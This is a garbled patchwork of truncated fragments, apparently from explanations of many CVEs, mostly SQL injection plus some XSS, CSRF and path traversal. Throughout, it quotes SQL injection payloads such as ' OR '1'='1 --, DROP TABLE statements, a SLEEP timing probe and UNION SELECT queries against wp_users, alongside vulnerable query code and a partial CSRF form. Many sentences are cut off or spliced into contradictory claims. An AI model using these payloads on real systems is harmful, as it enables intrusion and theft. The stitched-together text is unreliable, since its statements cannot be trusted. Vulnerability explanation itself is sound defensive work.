yload such as 'id=1 OR IF(1=1, SLEEP(10), false)'. If the server's response is delayed, it indicates that the abase records, and potentially, full database takeover.

xecution.

92.

/

ore backups in a secure, non-public directory would also mitigate the risk.

: takeovers, phishing campaigns, or identity theft.

VOKE authorization.

pplication.

ngine product database.

ored or logged. Once the attacker obtains the key, they could use cryptographic tools to decrypt the st

I and ensure that proper security measures and access controls are in place to prevent such informative

cess sensitive information not intended for their view.

sitive company data, user information, or other data that is critical to the integrity and confidentiality

llication component responsible for connecting to the database is exposed to the network, an attacker
to restrict database access to trusted sources, and continuously monitoring and auditing database acti

or deletion.

ccess to the specific implementation of SIMATIC PCS neo PUD Manager, it's not possible to provide a quantitati

d typically be used, which would provide a numerical score along with a qualitative severity rating.

hands that could further compromise the database server, such as executing system calls. Other malici

```
providedData + """;Statement statement = database.createStatement();ResultSet results = statement.exe
```

ie data or make it otherwise unavailable, and become administrators of the database server.

ous SQL statement would depend on the database structure and the point of injection. Always ensure that the database user has the minimum necessary privileges to prevent unauthorized access, such as inserting, updating, or deleting sensitive data.

the database, leading to unauthorized activities such as retrieving sensitive data, updating or deleting data, or even deleting entire tables.

within the plugin due to the Cross-Site Request Forgery vulnerability. This could lead to the alteration of user data or the execution of arbitrary SQL queries.

```
<form method='POST'><input type='hidden' name='action' value='change_email' /> <input type='submit' value='Submit' /></form><script>doc
```

ending a crafted request, such as `view_profile.php?id=' OR '1='1` which could trick the database into running arbitrary SQL code.

ut any validation or sanitization, making it possible for an attacker to inject arbitrary SQL code. For instance, if the database has triggers or stored procedures that execute automatically, they could be exploited for further attacks such as privilege escalation or lateral movements within the network if the database allows them to be sent to the database without filtering, potentially leading to SQL injection attacks. If the database holds critical application configurations or user credentials, this could be disastrous.

In addition that always evaluates to true ('1'='1'), which could potentially dump the entire dataset or allow users to gain administrative privileges or execute denial of service attacks if they are able to corrupt the database or overload it.

This type of vulnerability can range from data theft to complete system compromise, depending on the attacker's intentions and the database's configuration. To prevent such attacks, it is recommended to return true, comment out the rest of the query with '--', and potentially get unauthorized access or even execute arbitrary code.

Given that it relates to SQL Injection vulnerabilities, it could potentially be considered high risk.

ion, leading to data breaches, data loss, or unauthorized database manipulation.

manipulation.

An example of this might look something like: \$month = \$_POST['month']; \$sql = "SELECT * FROM users WHERE month = '\$month'";

tabase server to serve as a foothold in the broader network infrastructure. This type of vulnerability can be exploited by an attacker to gain unauthorized access to the database.

Sanitization}```An attacker could exploit the vulnerability by supplying malicious input like the following:

```\$month = 'OR 1=1'; \$sql = "SELECT \* FROM users WHERE month = '\$month'";```

If the input is sent to the database without proper sanitization, exposing the system to potential SQL injection attacks, the attacker could gain unauthorized access to the database.

```
if($_POST['email'])) { register($_POST['email']); // Directly passing user input to the function without validating or deleting data, or possibly executing administrative operations on the database. The attacker can use this to perform various attacks such as privilege escalation, lateral movement, or data exfiltration.
```

or other malicious activities.

sing data integrity issues and potential website downtime.  
, thus giving the attacker access to all user records in the database without proper authorization.

tially leading to unauthorized access or manipulation of data.  
identiality, integrity, and availability of the data managed by the application.  
privileges within the application if the SQL injection attack is used to manipulate user roles or permissi

ion or sanitation\$result = mysqli\_query(\$conn, \$sql);```In this example, an attacker could submit a mal  
trolled SQL commands, which are then executed by the database server.

ve using 'OR '1'='1' -- ' to bypass authentication or injecting a UNION SELECT query to retrieve sensitive  
; against other parts of the infrastructure.

SQL injection. If an attacker inputs something like `pic.jpg' OR '1'='1`, this could cause the query to retu  
walls and regularly updating and patching the systems can reduce the risk of exploitation.

ita. For instance: POST /functions.php HTTP/1.1Host: vulnerable-website.comContent-Type: multipart/

SQL injection vulnerabilities.  
hich an attacker can exploit.

ntial information stored in the database.  
he attacker inputs something like '1' OR '1'='1', the final SQL query would become 'SELECT \* FROM ph

nple, by inputting a string such as 'OR '1'='1' -- ' in the 'username' field, an attacker might be able to log  
e data, and in some cases, gain administrative access to a web application's hosting server.  
ulation. An attack scenario could involve an attacker using a payload like 'OR '1'='1 to bypass authentic

query may end up being something like:SELECT \* FROM users WHERE username='admin' AND password='')

bypassing intended restrictions.

Keep your system up to date with security patches is recommended.

ection attacks.

ion, or even complete database takeover. An example of such a malicious input could be:''' OR '1'='1';

ing on the nature of the job portal, the impact could extend to personal and employment data stored in the database. A malicious user could exploit this vulnerability to gain unauthorized access and manipulate the database.

nature, it could lead to data theft, data loss, or other malicious activity.

alter the SQL query to always return true and potentially expose all user records.

manipulate the database contents.

existing ones, potentially leading to the extraction of sensitive information from the database.

ata, and website configuration details potentially leading to full site compromise or data theft. The attack could also target hashed passwords, which could lead to further breaches if the passwords are cracked.

device.

action, to extract sensitive information without directly seeing the data in the database response. An attacker could craft a query and deduce information based on the response received, which is characteristic of a blind SQL injection attack.

lential information. They could also use the vulnerability to modify or delete important data, causing significant damage. This could lead to remote code execution on the SQL server hosting the Veeam ONE configuration database.

compromise of the data or even the entire server.

he SQL server. If successful, they could run malicious SQL commands, inject a backdoor, exfiltrate data to demonstrate the flaw under controlled conditions to foster mitigation and patch development.

s being performed on their behalf without their consent or knowledge, such as stealing session cookie

: this: ``httpPOST /routers/user-router.php HTTP/1.1Host: vulnerable-website.comContent-Type: appli

til a fix can be applied.

en without the need for prior login credentials.

all user roles or gain unauthorized access to administrative functions.

ing to unauthorized access or data dumping.

ctor who can reach the system.

ection attacks.

ine Food Ordering System.

ly to the database, potentially enabling an attacker to manipulate SQL queries.

unauthorized access to the system or sensitive data.

e, the '\$balance' parameter is directly included in a SQL query without proper input validation or escap

out, the injected SQL could be executed, allowing the attacker to bypass authentication or access the entire database.

For example, if the condition is '`1=1 OR 1=1`' which could result in dumping all entries from the associated database table if the back-end application does not properly validate user input.

the database: '`' OR '1'='1' --` '. By doing this, the attacker can manipulate the SQL query to return all the data in the database. In an unauthenticated attack, the attacker wouldn't need valid user credentials to perform these actions.

These attacks can lead to various consequences such as:

• Providing a string like '`'; DROP TABLE users; --` ' as input to the '`_price`' parameter, which, if executed, could drop the entire table or even the entire database depending on the level of privileges the application's database user has.

• Using the injected SQL to retrieve sensitive information such as user passwords or credit card numbers.

• Gaining unauthorized access, data theft, or manipulation.

• Gaining administrative access to the application or the underlying database server.

• Deleting all records from the database because the condition '`'1'='1`' always evaluates to true.

• Launching further attacks within the network.

Prevention and Mitigation:  
- Implement strong input validation and sanitization to prevent SQL injection attacks.  
- Use prepared statements and parameterized queries to protect against SQL injection.  
- Conduct regular security audits and vulnerability assessments on the application to identify and fix potential vulnerabilities.

o the lack of proper input validation, the malicious SQL code would be executed by the database.

tial exploitation.

mer information or compromising the integrity of the system.

np the entire 'orders' table or perform other unauthorized actions.

SQL injection to perform privilege escalation or spread to other parts of the network.

ction of the users table.

g prepared statements or stored procedures to prevent SQL injection vulnerabilities.

ry SQL code.

ipts to drop (delete) the 'users' table by injecting an SQL statement through the 'deleted' parameter.

value that includes SQL code, which the application might execute without proper sanitization.

the database.

base is running with high privileges.

ranting unintended permissions or revealing sensitive data.

queries, or stored procedures in the application to prevent SQL Injection. 4. Conduct a security assessment.

y.

/ used in the SQL query, leading to an SQL injection vulnerability.

recommended steps for mitigation.

ulate the SQL query into authenticating without proper credentials or possibly extracting sensitive data.

points are unauthenticated, the attacks can be performed without the need to log in, increasing the attack surface.

or corrupt the database.

and the query is executed.

o prevent SQL injection. Additionally, it's important to adhere to the principle of least privilege when applying patches or workarounds.

cess to personal or payment information stored in the database.

ation.

ally leaking or manipulating data.

· susceptible to exploitation by anyone who can send requests to the affected resource.

cess to.

is stealing confidential data or corrupting database content.

properly sanitized, and the function is part of the Imageconverter API, an attacker could pass a malicious string.

ed to the public internet.

iality, or availability.

?3-08-01.pdfThese documents contain information about the vulnerability, the affected versions of the process, data leaks, or data manipulation. This could compromise sensitive information or disrupt service

e\_6243\_7.10.6\_2023-08-01.pdf.

the service is not exposed to the public, the attacker likely needs some form of insider access or to br

vious SQL code.

ry is used for authentication, it could allow unauthorized access or reveal sensitive information presen

ss authentication checks or retrieve sensitive information from the database.

plied\_destination + "";"`With the payload, the final SQL query turns into:`SELECT \* FROM bus\_routes V

ion, could lead to an SQL injection allowing the attacker to access all data from the database associate

refer to the official advisories for precise instructions and updates.

ntially leading to unauthorized data access or manipulation.  
of the database. A typical attack might involve the attacker appending a SQL statement like ' OR '1'='1'  
n a more complex attack, such as planting backdoors, launching denial of service attacks, or escalating

in the SQL query. \$result = \$connection->query(\$query);?>``In this code snippet, the 'date' GET variabl

t any sanitization or validation, which would make it possible for an attacker to manipulate the SQL qu  
ete data in the database by injecting SQL commands like 'INSERT', 'UPDATE', or 'DELETE'. Due to the ur

to be executed directly in the database.

ability to bypass authentication, retrieve confidential information, or disrupt the service.

/ to return all records by making the WHERE clause always true ('1'='1'). If unfiltered, this input could re  
ng to a potential security breach where an attacker could perform unauthorized database operations.

ild essentially cause the SQL query to return all users because '1' is always equal to '1', thus bypassing a  
, posing a significant security risk to the affected system.

ies, potentially giving attackers unauthorized access to the database.

::``php\$subject = \$\_GET['subject'];\$sql = 'SELECT \* FROM exam\_results WHERE subject = '\$subject';\$r

ipulation, or even complete system compromise if the database user has sufficient privileges.

Updating the application to a version where the vulnerability has been patched.

to SQL injection attacks.

mising the whole application.

that attempts to bypass authentication. The 'OR '1'='1' --' is a common SQL injection technique which will allow an attacker to conduct a thorough security audit of the system, update it to the latest version if patches are available.

QL queries.

e to an SQL Injection attack. An attacker could exploit this by passing a specially crafted 'email' parameter or even drop important database tables, thereby compromising the integrity and availability of the system.

op (delete) a table named 'users'. Depending on the specific vulnerability and database permissions, this could lead to data loss and conducting thorough input validation and sanitization.

ints. Such data could be used for malicious purposes such as identity theft, financial fraud, or targeted

ation.

the attacker might submit a contact form with malicious content that includes SQL statements such as  
· inject additional SQL queries into the database, potentially leading to unauthorized access to sensitive  
n administrative actions, or compromise the website's integrity.

/ the attacker to alter the intended SQL query and inject malicious SQL.

· id updates of all plugins and themes should be performed to minimize the risk of similar vulnerabilities:  
· queries and potentially extract sensitive information from the database.

```
?f73?source=cve
deshows WHERE slideshow_id = $user_input"; $results = $wpdb->get_results($query); // Process s
```

:ode could look something like this: [wp-fade-text-news id="1 UNION SELECT username, password FRC

osite.

'/plugins.trac.wordpress.org/changeset/2985398/wp-fade-in-text-news#file2- https://www.wordfence  
· permissions to the minimum necessary and monitor WordPress websites for any suspicious activity.  
· el permissions to manipulate SQL queries and potentially extract sensitive information from the websi  
and may further enable database manipulation or compromise of the website.

:er credentials, financial information, or any other confidential data stored in the WordPress site's data  
als have the necessary permissions that could potentially be abused to exploit this vulnerability.  
in the constructed SQL query becoming:SELECT \* FROM table WHERE filter=" OR '1'='1'which is a valid  
usted sources for the latest updates and remediation guidance.  
illy extract sensitive data from the website's database.

base and extract sensitive information.

unk/up-down-image-slideshow-gallery.php?rev=2827173#L208- https://plugins.trac.wordpress.org/ch  
/here 'injection\_here' could be an SQL statement like 'OR '1'='1 which might trick the SQL engine into e

ql); In this case, if the user-supplied parameter includes SQL syntax, it can manipulate the query to extr  
; that could lead to further compromise of the website.

manipulate existing SQL queries to potentially extract sensitive information from the database. This vuln  
have other malicious outcomes on the website's database. The vulnerability is a consequence of impr

A Wordfence vulnerability report: <https://www.wordfence.com/threat-intel/vulnerabilities/id/d0b1fa>

using usernames, hashed passwords, and email addresses: [message\_ticker parameter='1 UNION ALL S  
and including 12.0 of the plugin. It enables authenticated attackers with subscriber-level access or hig  
to exploit the vulnerability and the potential impact on affected systems.

ch could lead to unauthorized access of the database, extraction of sensitive information like user crec  
at could be related to the plugin's update or fix: <https://plugins.trac.wordpress.org/changeset/298541>

:e=cve

alter the intended SQL query.

tract sensitive information from the database.

e1- <https://www.wordfence.com/threat-intel/vulnerabilities/id/64db63e5-ff76-494a-be4f-d820f0cc9a>  
d manipulate it by supplying a malicious 'id' like:[info\_reel id="1 OR 1=1;-- "]This would result in the q

ite's users or infrastructure. Given the right circumstances, the exploitation of this vulnerability could :  
eries and possibly extract sensitive information from the database.

ons to carry out this attack.

attacks against the website.

iges\_table WHERE id = '1 UNION SELECT username, password FROM wp\_users -- 'This query would byr  
changeset/2985333/image-vertical-reel-scroll-slideshow#file13. Detailed threat intelligence by Wordf

I permissions to inject additional SQL queries into existing ones, potentially leading to the extraction o  
the impact and the environment in which the plugin is used for a specific severity rating.

part of the SQL query against the database. For example, if a parameter `id` in the shortcode is vulner

that could lead to unauthorized disclosure of usernames and passwords from the WordPress user tabl  
ly set to limit the capabilities of subscriber-level users to the least privileges necessary.

ode, if successfully injected, could result in the dropping (deletion) of the 'users' table in the database.  
ty of the data and can lead to wider system compromise if the database has links to other parts of the

vide an exact code example without more context.

s against the local database, therefore leading to information disclosure.

base, bypassing authentication or authorization checks.

'1='1' in the 'add1' parameter, which could trick the database into executing unintended commands.

orized data access, data manipulation, or complete database compromise.

privileges to gain further access to the application's environment. These attacks can be done without authenti  
'\$contact"';\$result = mysql\_query(\$query);?>``In this example, the variable '\$contact' is directly used in  
jection attacks.

By manipulating the 'email' parameter, an attacker could input values such as 'email@example.com' Of  
initial information stored in the database. As the attack is unauthenticated, it could be performed by any

without sanitization and is then placed into the SQL statement. An attacker could exploit this by providing  
cker does not need valid user credentials to exploit them.

atabase. For example, they might manipulate the SQL query to bypass authentication or extract sensit

variable PHP code: ``php\$query = 'SELECT \* FROM users WHERE filename = '\$fnm';\$result = mysqli\_query(\$conn, \$query); if (\$result) { \$row = mysqli\_fetch\_assoc(\$result); echo "User found: " . \$row['username'] . " (" . \$row['password'] . ")"; } else { echo "User not found"; } ``

ce.

. This issue was addressed in Nautobot version 2.0.3.

if proper hashing algorithms are not used or if the attacker manages to crack the hashes. Various techniques like rainbow tables, hash cracking tools, or brute force to deduce the original password ('GHSA-r2hw-74xv-4gqp).

into the system.

Policy Manager cluster.

ut proper authorization.

Potentially modify or delete this information, leading to unauthorized control over the ClearPass Policy

essful exploit.

ithenticated users with subscriber-level permissions or higher could manipulate the SQL query to extract sensitive information from the database.

bility. This would allow the attacker to extract sensitive information from the database, such as user credentials.

on layers like \$wpdb->prepare() can prevent SQL injection vulnerabilities.  
user\_input"; // Vulnerable line \$results = \$wpdb->get\_results(\$sql); // ... code to display announcement

ting queries, potentially leading to the extraction of sensitive information from the database.

pecting a full database takeover if the SQL Injection grants them access to administrative privileges.

sions or higher can exploit this to append additional SQL queries, potentially accessing or manipulating data from the WordPress site's database.

t?sfp\_email=&sfph\_mail=&reponame=&old=2959452%40wp-slimstat&new=2959452%40wp-slimstat&

This could result in a SQL query like 'SELECT \* FROM wp\_users WHERE ID = 1; DROP TABLE wp\_users; potentially leading to unauthorized access to information in the database.

parameter to include SQL commands, leading to an SQL injection vulnerability.

identity and may allow the attacker to gain further access to the application's functionalities or related data.

a potential information leak.

would require network access to the websocket service, which could be done remotely if the service is exposed to the internet, and potentially extract sensitive information from the database.

per with data, or execute administrative operations on the database, depending on the privileges of the user.

[/vulnerabilities/id/5ad12146-200b-48e5-82de-7572541edcc4?source=cve](#)'.

ased or look for alternative solutions.

turn all entries from a table, exposing sensitive data. To exploit the vulnerability, the attacker would re-

erability does not require authentication, the attack could be conducted by any remote attacker who has access to the service. An attacker who can exploit this flaw to execute additional arbitrary SQL queries, which could lead to the extraction of sensitive data, tampering with data, or corrupting the database. The SQL Injection vulnerability could result in the attacker gaining access to all user data, including passwords. The attacker could steal data from the database. Plugins that provide firewall and website hardening features can help protect against such vulnerabilities. A patch for the vulnerability has been released: [https://github.com/rtugal/tour-builder-lite/tags/1.8.0/includes/plugin.php#L439](#). Changeset that may contain fixes: [https://github.com/rtugal/tour-builder-lite/commit/1.8.0-1.8.0.1](#). This patch should lead to actions that compromise availability, such as data corruption or removal. Overall, this vulnerability is a serious threat to the security of the application.

'M accessible data.

dating existing records for malicious purposes, or deleting crucial data.

enial of service by causing the Oracle Database Recovery Manager to hang or crash repeatedly.

: or clicking on a malicious link.

exploit. This could result in the attacker causing a partial disruption to the database sharding service, r

e sophisticated tools or methods to conduct the attack, but the attacker would need to overcome any

cess data within the PL/SQL environment, potentially leading to a subset of the data being read, altered or removed by the attacker.

This is observed by the attacker as a delayed HTTP response, whereas if the query result is false, the HTTP response is delayed.

order without proper logging and monitoring in place.

Potentially impact business processes that rely on the database's availability.

e.

Incomplete compromise of the affected database.

For example, since it's an authenticated attack, legitimate user credentials would likely be required to reach the database.

Database server.

If a meterpreter is involved, the attacker might manipulate the order by clause of a SQL query to inject malicious code.

es, data loss, and unauthorized system access.

:em.

cious like `http://electionservice.com/vote?electionId=5; DROP TABLE elections;` which could attempt to trust in the election system.4. Exfiltration of sensitive data which may have further implications, such as:

purposes, including identity theft, financial fraud, or gaining further access to internal networks.

on of the test automation platform. However, since the issue relates to exceeding a path length within

Portal documentation for the release: <https://reportportal.io/docs/releases/Version23.2/>

over their tracks or create backdoors for future access.

`: username = 'admin' OR '1'='1';`This would cause the database to return all user records, bypassing authoritivities on the database depending on the database user privileges. The attack could be mounted with

the guess is correct or not.

Given Over time, the attacker can build a picture of the database contents, including credentials or c

Further system compromise. By exploiting the SQL access, they might escalate their privileges on the W  
ork.

nsent.

Without proper CSRF protections in place.

Pulate the query to perform undesired actions in the database. Example malicious input: ?id=1 OR 1=1

of the system related to the database.

W the attacker to bypass authentication or extract information from the database.

rs the SQL query that is executed by the database.

escaping functions. Regular security audits and code reviews are essential to ensure that such issues are

BLE users; to try to delete a critical database table.

ared statement: ```\$stmt = \$dbConnection->prepare('INSERT INTO registrations (age) VALUES (?)');\$stmt

o store passwords securely and to employ a security checklist or standard like the OWASP Top 10 during development.

the use of prepared statements, it makes the code vulnerable to SQL Injection.

ace.

ult in data breaches or taking control of the affected system's database.  
tion or use of prepared statements, // allowing an attacker to inject malicious SQL via the 'bookisbn' pa

d manipulate the `first\_name` or `last\_name` parameters by inserting SQL commands, potentially leadi  
controls.

integrity, and interruption of service.

ation or escaping. An attacker could exploit this by providing input like 'dummy' OR '1'='1' to manipula  
gitimate users.3. Data Tampering: Attackers could alter or delete crucial data, leading to data integrity  
tial mitigation measures.

it proper sanitization and later rendered in other users' browsers, the embedded script could execute a  
e this information to impersonate the victim and gain unauthorized access to their accounts or perform

on or even escalates their privileges to the root level, enabling them to take full control of the compro

ents, potentially exposing sensitive data stored within.

instance, the attacker may insert a malicious SQL statement like the following into a vulnerable input field:

a within the database.

point to launch further attacks within the network.

orm field directly to the SQL server, causing the SQL server to execute the injected command, in this case, steal credentials, alter database records, or even perform more destructive actions such as dropping entire tables or other security compromises.  
ere the vulnerable plugin is deployed.

another area where the data is displayed. This could lead to actions being performed on behalf of the user without their consent.

half of the user without their consent.

entially dumping the entire users table.

nately leading to unauthorized access or disclosure of confidential data.

ive access to the database system.

d statements or parameterized queries to prevent SQL injection attacks.

initially return all rows from a table, thereby exposing sensitive information. Due to the nature of SQL in

the server return all the records instead of just one, exposing information in the database.

ire authentication for sensitive operations can also help mitigate such vulnerabilities.

er database.

ic example and the actual payload would depend on how the MOVEit Transfer interface interacts with  
erability.

uthorized reading of database tables, alteration of records, or even complete database takeover if the

:ions on the database, and potentially execute commands on the operating system.

in' --' to comment out the rest of the SQL statement and bypass authentication checks. Modify data integrity, or execute arbitrary commands on the database, leading to a full system compromise and the ability to overwrite user data. Result in data corruption or loss, unauthorized data manipulation, or in a worst-case scenario, complete loss.

manipulate the internal database to extract session tokens, leading to account hijacking. Additionally,

security/advisories/GHSA-v5wf-jg37-r9m5 Using these credentials, they could connect to the database directly and perform malicious activities such as.

ch`) and includes it directly in the SQL query without proper sanitization or prepared statements, making it vulnerable. For example, the attacker could retrieve user data, passwords, or other sensitive information,

conf is set up with SUCCESS=continue or SUCCESS=merge configurations.

A-2023:5455, <https://access.redhat.com/errata/RHSA-2023:7409>, <https://access.redhat.com/security>, behave unexpectedly. Exploitation scenarios are complex and vary depending on the application and system configuration, limiting the scenarios in which it could be exploited. Control of files present on the DBMS file system, and in some cases, executing commands on the operating

rlying operating system.

d by the database server, resulting in unauthorized access to or manipulation of the database content.

ack surface.

other applications. This breach may happen without any direct user interaction and could potentially lead to a security compromise.

In this example, if 'userInput' comes directly from an untrusted source without proper sanitization

other vulnerability (CVE-2023-39420) to exploit the system without legitimate credentials by using harmful input.

ed, the attacker can execute the web shell with SYSTEM privileges, gaining control over the system and bypassing permission to use, violating the intended ACL policies.

ccess to otherwise unauthorized keys. This unauthorized access could result in exposure or manipulation of sensitive information such as user data or configuration files, as well as various Fedora project mailing list announcements.

f of the user, steal session tokens, or redirect the user to a malicious website.  
`admin.php`.

In super admin privileges, the malicious JavaScript code executes.

In `index.php` page, the malicious JavaScript could be executed, potentially leading to data theft, session hijacking if Apache Superset is configured to use a SQLite database for its metadata, which is not recommended

to do, or execute arbitrary code, compromising the integrity and confidentiality of the server's data.

Access is taken by the application or access to sensitive data.

A Gamma-level API call is made by a user with Gamma-level access.

Attackers can exploit this by observing the connection responses. Such an attack could compromise the confidentiality of the data being transmitted.

night use a template injection to access salary information from an HR database they should not have

n text. Attackers could then download the backup file to gain access to this sensitive information. confidentiality of an organization's data.

es sensitive configuration files. Finally, they could download the backup from the webroot directory, g

afety incidents or financial losses.

e, and the double dashes (--) comment out the rest of the SQL query, nullifying the need for a proper p of least privilege to minimize potential damages from such vulnerabilities.

or damage to equipment.

ssions, making the impact of such an XSS attack quite severe.

urce path is executed in the victim's browser.

ming actions on behalf of the admin.

aw can be exploited by users who have the 'General Administration>Sites/Devices/Data' permissions ; nistrator or the disclosure of sensitive information.

n text about the vulnerability.

ript would execute in the admin's browser. This could lead to actions being taken on behalf of the adm Cacti accounts view the poisoned data.

cted graph's management page. For example, an attacker could edit a data template using the URL `ht they can be leveraged for a stored XSS attack.

n their browser. This can lead to a variety of outcomes, such as session hijacking, data theft, or unauth fix for this CVE.

ch more sophisticated scripts could be used for data exfiltration, session hijacking, or other malicious p  
alicious script. This script could steal cookies, session tokens, or execute actions on behalf of the admi

administrative user views the device name, the JavaScript is executed in their browser``Note that acti

ime, the payload is rendered and executed in their browser through `http://<HOST>/cacti/reports\_adr

e admin's browser, leading to potential data leakage, session hijacking, or other malicious activities as  
device name through the `host.php` script, which then gets displayed in a harmful way via the `data\_`  
privileges, who view the data source management information at `http://<HOST>/cacti/data\_sources  
entified and removed from the database.

<https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WOQFYGLZB>

as phishing or brute-force attempts against the enumerated user accounts.

onment. This could result in unauthorized access, data manipulation, or denial of service.

s is also advised.

[eminiCisRedTeam/Disclosure/blob/main/CVE%20PoC/CVE-ID%20%7C%20RealGimm%20-%20SQL%20abuse user has high privileges.](#)

In the exact implementation of the application and its database.  
Ita.

repared statements \$result = \$wpdb->query(\$sql); // Execution of the vulnerable query ``In this example this could allow the attacker to read sensitive data from the database, manipulate database data, or even exploit a source code browser: <https://plugins.trac.wordpress.org/browser/woo-pdf-invoice-builder/trunk/woo-pdf-invoice-builder.php>. At this level privileges can alter the existing SQL query to execute additional arbitrary SQL commands to compromise, manipulation of database data, or even potentially taking control of the affected website.

es and permissions within the database. 4. Carry out database operations that could disrupt the normal functioning of the system.

access can help mitigate the risk.

ve'.

ct sensitive information from the website's database.

This could look like this: \$query = "SELECT \* FROM pages WHERE page\_id = '\$\_POST["post\_id"]';"; With full details, proof of concept examples, and patch or mitigation information.

try cache of user sessions, leading to potential unauthorized access if a session becomes compromised. A session has been invalidated. This can potentially allow API requests to be made using the compromised session's 'true' header, which prevents session update and extension. This window of opportunity exists up to the point where the session is invalidated.

[nvd.nist.gov/g2-server/security/advisories/GHSA-3fqm-frhg-7c85](https://nvd.nist.gov/g2-server/security/advisories/GHSA-3fqm-frhg-7c85)

to falsely believe their sessions are securely terminated, when in fact they are still susceptible to unauthorised access.

plex attacks.

1cee28290543f2a- GitHub Security Advisories: <https://github.com/keylime/keylime/security/advisories/1cee28290543f2a> - This advisory addresses a vulnerability in Keylime that could allow an attacker to monitor and disguise network traffic, potentially leading to a Man-in-the-Middle attack. It is important to stay updated with security advisories and apply patches to prevent such attacks.

derstand how the vulnerability may have been exploited and how the fix prevents such an exploit. Tent managers.

ans.

e, potentially compromising the security of users who view the content.

iming attacks, which can lead to the enumeration of valid user accounts. The problem has been resolved by implementing a feature that prevents users from performing a "password reset" if they have already reset their password. This prevents attackers from performing a "password reset" on valid accounts, which is a common technique used in phishing or password spraying attacks.

uspicious communications.

ing emails. This allowed potential attackers to determine if an email was registered on the site, potentially allowing them to perform a "password reset". This was fixed by implementing a feature that prevents users from performing a "password reset" if they have already reset their password. This prevents attackers from performing a "password reset" on valid accounts, which is a common technique used in phishing or password spraying attacks.

hanging the secure\_key and restarting the webserver.

out this behavior. Documentation has also been updated to explain this.

;/1

w of opportunity, the attacker could perform unauthorized actions on the Airflow system, such as mar

escalate their privileges within the system. SQL Injection can also be a stepping stone for more sophisticated attacks, such as OR '1'='1';This would return all the entries in the users table since '1'='1' is always true. Such an exploit

ation of data.

eve sensitive user information, alter or delete data, or gain administrative privileges within the applica

ksums with those from the RubyGems API.

m compromise.

o the system settings. For example, an attacker might use malicious SQL code like `` OR '1'='1' --` in an attempt to cause reputational damage and possible legal consequences.

ctively bypassing the built-in Role-Based Access Control (RBAC) measures.

ity, and the compromise of system availability.

within the platform, which could result in unauthorized database operations and bypass of security controls.

Establish a regular code review process for any uploaded UDFs to detect malicious code.  
Avoid using eval or similar functions in UDFs, and review code that runs on JSPs or Angular templates.

Potential consequences:  
- Exploitation leading to session hijacking, theft of sensitive information, or the execution of unauthorized actions.  
- Ability to read, modify, or delete arbitrary database records.  
- Potential for privilege escalation or gaining further access to the network.

Attack vector:  
The attack vector involves injecting SQL code such as `SELECT \* FROM users` or `UPDATE table SET column = 'value';` to modify records without authorization. The attack could also involve inserting or deleting arbitrary database records.

Impact:  
- Unauthorized access to sensitive data or system configuration.  
- Disruption of PDU operations or security measures.  
- Potential for privilege escalation if the attacker gains access to the database.

Consequences:  
- Disclosure of sensitive data, potentially leading to a significant data breach or operational disruption.

Attack vector:  
The attack vector involves exploiting a bug in the database layer that allows users with the CREATE privilege at the database level to execute arbitrary code with the privileges of the database owner.

Impact:  
- If exploited, the attacker might insert a payload that closes the dollar quote and adds additional SQL code.

Consequences:  
- System crash, database corruption, or a complete system compromise.

This issue was patched in user\_oidc version 1.3.3.

Affected servers that trust the impersonated Nextcloud server.

aboration, these attacks could have significant impact on affected organizations.

is 'logDate', an attacker might input '2023-01-01' UNION SELECT \* FROM users --', causing the applica

y and potentially access, modify, or delete unauthorized data.

\* FROM messages WHERE id = "" + user\_input + """database.execute(sql\_query)``` An attacker could ex  
ne operating system.

'users' table from the database, thereby exploiting the SQL injection vulnerability by manipulating the  
nipulating the data or executing destructive SQL commands.

QL query without proper sanitization, making it possible for SQL injection to occur.

is example, if `user\_input` contains SQL code, it could alter the query and potentially compromise the

otentially escalate privileges within the system. Since the input is unsanitized, the SQL engine could execute unauthorized actions on the database.

or bypassing authentication mechanisms.

y)```In this example, the `user\_date\_input` variable should be sanitized to avoid SQL injection, but it's logic, access sensitive information, alter or delete data, or even execute administrative operations on the

erating system.

:he database.

le deletion of the 'users' table from the database. Note that actual attacks can vary and the specific det

; all records, bypassing intended access controls. In more advanced cases, the attacker could use SQL c

cker might provide 'example@example.com'; DROP TABLE users; --', which when unsanitized could re: database data, execute administration operations on the database (such as shutdown the database or

out' contains SQL code, it could affect the logic of the executed SQL query and manipulate the database in some cases, could allow the attacker to gain administrative rights to the database or even execute c

, such as retrieving sensitive information, deleting records, or inserting fraudulent data.

case to drop the 'vendors' table, showing the potential damage of a SQL injection.

nands to the database.

kend databases.

immediately to fix the vulnerability.

input properly, the malicious SQL code gets executed on the database, allowing the attacker to execute integrity, confidentiality, and availability.

ry is constructed like 'SELECT \* FROM report\_jobs WHERE job\_id = ' + user\_input; the injected 'OR' clause

kdoors, extracting sensitive information, or disrupting the service.

te, potentially allowing data extraction, data modification, or even administrative operations on the database.  
ResultSet results = statement.executeQuery(query); // Process results} catch (SQLException e) { //

executed by the database could delete crucial data, such as dropping the 'users' table, leading to data loss or system downtime.

manipulate data. Example of vulnerable code:```pythonuser\_input = get\_user\_input() # This is unsanitized SQL code via the vulnerable 'json walker' feature, leading to a compromise of the integrity, confidentiality, and availability of the system.

used to log in as an admin without knowing the password.

username = " OR '1'='1' AND password = 'password';// This would return all users since '1'='1' is always true. It is important to ensure that the application is regularly updated with the latest security patches as they are vital practices.

If the application runs with high-level privileges, the attacker could then install backdoors, exfiltrate data

or gain higher access levels.

ain the plaintext passwords.  
365ea4-167e-0010-bca6-c68f7e60039b.html.

\* FROM users;' sent through a proxy to retrieve user data from the database without proper authentication and updates to ensure that systems remain secure against known vulnerabilities. Identification now being enforced.

enticate the remote server's identity, making it vulnerable to receiving malicious data or exposing sensitive information. mindsdb/mindsdb/releases/tag/v23.7.4.0- Security advisory: <https://github.com/mindsdb/mindsdb>,

the original note.

)N`.

le code.

nnection setup which triggers the execution of code embedded within the connection string.

echanism has been improved to ensure access is restricted to the defined root directory.

ailable exploits known for this vulnerability.

/advisories/csaf/oxas-adv-2023-0003.json- Release notes for the patch that presumably addresses the

`ctus_users` collection, which could lead to information disclosure and privacy breaches.`

`iations outside the Vocera temporary directory.`

`arbitrary locations, possibly overwriting critical files or installing malware.  
the database.`

`-cve-2022-4.html.`

`1.`

`er could exploit this vulnerability by including a path-traversal payload in the provided filename to escape  
allow the attacker to execute arbitrary SQL commands against the database, compromising its integrity.`

`other parts of the system.`

`/product-security/vocera-report-server-vulnerabilities--cve-2022-46898--cve-2022-4.html'.`

`er's SQL commands would be executed against the database, potentially allowing data theft, data man`

ble SQL injection flaws.

